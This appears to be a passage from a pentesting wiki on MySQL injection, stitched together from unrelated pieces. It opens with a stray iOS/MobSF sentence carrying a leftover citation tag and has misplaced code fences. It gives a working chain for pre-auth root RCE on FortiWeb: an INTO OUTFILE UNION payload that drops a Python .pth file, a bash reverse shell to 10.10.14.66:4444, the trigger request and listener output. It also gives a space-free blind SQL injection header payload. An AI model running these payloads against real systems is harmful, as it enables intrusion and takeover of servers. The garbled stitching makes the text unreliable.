[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【turn6view0†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:

#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.
1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`).
2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts.
3. When the interpreter is implicitly executed by a CGI script (for example `/cgi-bin/ml-draw.py` with shebang `#!/bin/python`) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as **root** → full pre-auth RCE).
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Example of crafting the file through an **UNION** query (space characters replaced with `/**/` to bypass an `sscanf("%128s")` space filter and keep the total length ≤128 bytes):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Important limitations & bypasses:
* `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename.
* The file path is resolved **relative to MySQLs CWD**, so prefixing with `../../` helps to shorten the path and bypass absolute-path restrictions.
* If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces.
* The MySQL user running the query needs the `FILE` privilege, but in many appliances (e.g. FortiWeb) the service runs as **root**, giving write access almost everywhere.
After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
The Python process will import the malicious `.pth` automatically and execute the shell payload.
```

$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

## MySQL arbitrary read file by client
Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\

### Injection without SPACES (`/**/` comment trick)
Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**.
Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.
Example time-based blind injection bypassing the space filter:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Which the database receives as:
```sql
' OR SLEEP(5)-- -'
```
This is especially handy when:
* The controllable buffer is restricted in size (e.g. `%128s`) and spaces would prematurely terminate the input.
* Injecting through HTTP headers or other fields where normal spaces are stripped or used as separators.
* Combined with `INTO OUTFILE` primitives to achieve full pre-auth RCE (see the MySQL File RCE section).
